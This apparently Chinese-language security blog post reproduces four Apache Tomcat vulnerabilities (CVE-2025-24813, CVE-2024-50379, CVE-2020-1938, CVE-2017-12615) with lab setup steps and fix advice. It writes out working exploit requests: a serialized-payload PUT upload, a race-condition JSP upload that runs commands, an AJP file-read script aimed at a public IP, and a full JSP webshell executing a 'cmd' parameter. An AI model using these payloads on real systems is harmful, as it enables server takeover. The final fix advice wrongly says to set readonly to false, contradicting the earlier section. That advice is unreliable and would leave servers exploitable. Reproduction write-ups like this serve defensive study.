Tomcat 是一个开源的、轻量级的 Web 应用服务器和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。

CVE-2025-24813(反序列化代码执行)

漏洞描述

Apache Tomcat 在处理 HTTP PUT 请求时,存在一个不安全文件上传漏洞(CVE-2025-24813),攻击者可利用该漏洞在服务器上写入恶意文件,并在特定条件下触发反序列化攻击,最终导致远程代码执行(RCE)。

利用条件

  • 应用程序启用了 DefaultServlet 写入功能,该功能默认关闭。
  • 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启。
  • 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置。
  • 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库。

影响版本

  • Apache Tomcat 11.0.0-M1 to 11.0.2
  • Apache Tomcat 10.1.0-M1 to 10.1.34>
  • Apache Tomcat 9.0.0.M1 to 9.0.98

漏洞原理

Content-Range在 Tomcat 的 HTTP PUT 请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

该漏洞的核心在于不完整 PUT 请求上传时的文件名处理机制:文件路径中的分隔符 /会被转换为 .。例如:访问 /xxxxx/session 会被解析为 .xxxxx.session

因此整个漏洞的利用过程为:

  • Tomcat 的 File 会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
  • 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
  • 通过设置 JSESSIONID=.xxxxx来触发漏洞

环境搭建

可以直接使用 git 克隆已经搭建好的环境

1
git clone git@github.com:x1ongsec/CVE-2025-24813.git

也可以根据后续步骤自行搭建

下载文件

下载 tomcat:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

下载 CC 依赖:commons-collections-3.2.1.jar

开启文件存储会话

在 conf/context.xml 文件中添加如下配置:

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">  
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

启用写入功能

在 conf/web.xml 文件中添加如下配置(大约 118 行位置开始):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<!-- 添加如下 -->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

添加 cc 依赖

在 webapps/ROOT/WEB-INF 目录下新建 lib 目录,将 commons-collections-3.2.1.jar 放入到该目录。

修改端口运行

在 conf/server.xml 文件中搜索 8080 将其修改为 9001:

接着来到 bin 目录下执行 如下命令:

1
./catalina.sh run

访问

漏洞复现

生成一个恶意的序列化文件,使用以下数据包上传,需要注意 Range 的分块值需要与 Length 保持一致,且大于当前文件的长度。

这里恶意的序列化文件我通过 yakit 的 Yso-Java Hack 生成:

构造请求:

1
2
3
4
5
6
PUT /x1ongsec/session HTTP/1.1  
Host: 127.0.0.1:9001
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(rO0ABXNyACLBqsGhwbbB....)}}

构造触发请求:

1
2
3
GET / HTTP/1.1  
Host: 127.0.0.1:9001
Cookie: JSESSIONID=.x1ongsec

接着先发送第一个请求:


发送第二个触发请求,成功触发。

漏洞修复

  • 将 tomcat 升级至安全版本

参考

CVE-2024-50379(条件竞争代码执行)

漏洞描述

由于 Apache Tomcat 在路径校验逻辑中存在缺陷,当在不区分大小写的系统(如 Windows )上启用了 default servlet 的写入功能(默认关闭)时,攻击者可构造恶意请求绕过路径一致性检查,从而可能上传webshell 并造成远程代码执行。漏洞利用需要条件竞争,对网络以及机器性能环境等有一定要求。

影响版本

  • 11.0.0-M1 <= Apache Tomcat < 11.0.2
  • 10.1.0-M1 <= Apache Tomcat < 10.1.34
  • 9.0.0.M1 <= Apache Tomcat < 9.0.98

环境搭建

复现环境:Windows + Tomcat 9.0.96

将 Tomcat 中的 config/web.xml 配置如下(加入 readonly 选项)大约 115 行处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

启动项目:

1
/bin/catalina.bat run

接着访问默认端口 8080:

漏洞复现

使用 Burpsuite 构造一个 PUT 数据包,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PUT /a.Jsp HTTP/1.1
Host: 10.211.55.4:8080

<%@ page import="java.io.*" %>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1>Hello, World!</h1>
<%
try {
// Execute the command to open calc.exe
Process process = Runtime.getRuntime().exec("cmd /c start mspaint.exe");
out.println("<p>Calculator has been opened successfully (if the server is running on Windows).</p>");
} catch (Exception e) {
out.println("<p>Error while opening calculator: " + e.getMessage() + "</p>");
}
%>
</body>
</html>

然后再构造一个访问 PUT 请求创建文件的数据包:

1
2
3
GET /a.jsp HTTP/1.1
Host: 10.211.55.4:8080

将两个请求都发送到 Intruder 模块,然后都设置为无限重发。

开启两个请求的重发,接着等一段时间,就疯狂的弹出画图工具:

漏洞修复

  • 将 Tomcat 升级至安全版本。
  • 临时修复:若配置了 readonly 参数,则可以在 Tomcat 程序根目录 /conf/web.xml 中将 readonly 参数设置为 true 或将配置代码注释或移除。

参考

CVE-2020-1938(AJP 文件包含漏洞)

漏洞描述

由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

漏洞原理

tomca t默认的 conf/server.xml 中配置了 2 个 Connector,一个为 8080 的对外提供的 HTTP 协议端口,另外一个就是默认的 8009 AJP 协议端口,两个端口默认均监听在外网 ip。

详细请参考:https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

环境搭建

执行如下命令启动一个Tomcat 9.0.30:

1
2
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

此时公网也开启了 Tomcat AJP 协议的 8009 端口:

漏洞复现

复现脚本:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

1
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 120.48.128.24 -p 8009 -f WEB-INF/web.xml

漏洞修复

  • 将 Tomcat 升级至安全版本
  • 临时禁用 AJP 协议(不推荐)

参考

CVE-2017-12615(PUT 任意文件写入漏洞)

漏洞描述

Apache Tomcat 7.0.0 - 7.0.81 版本攻击者可以利用该漏洞向服务器写入非 JSP 后缀的文件,利用操作系统特性,可将非 JSP 后缀的文件修改为 JSP 后缀,最终导致命令执行。

影响版本

  • Apache Tomcat 7.0.0 - 7.0.81

漏洞原理

Tomcat 配置允许使用 PUT 请求方法(在 web.xml 文件中配置了 readonly = false)。导致我们可以向服务器写入文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

虽然 Tomcat 对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。

环境搭建

1
2
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

漏洞复现

Linux 服务器

Linux 目录下直接通过 /结尾可直接写入 JSP 后缀的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PUT /shell.jsp/ HTTP/1.1
Host: 120.48.128.24:9001

<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

当出现响应状态码为 201 表示创建成功。

windows 服务器

windows 断可以使用 ::$DATA的特性进行绕过不能写 JSP 后缀的限制。

1
2
3
4
PUT /111.jsp::$DATA HTTP/1.1
Host:: x.x.x.x:8080

...jsp shell...

漏洞修复

  • 将 Tomcat 升级至安全的版本
  • 临时修复将 readonly 设置为 false。

参考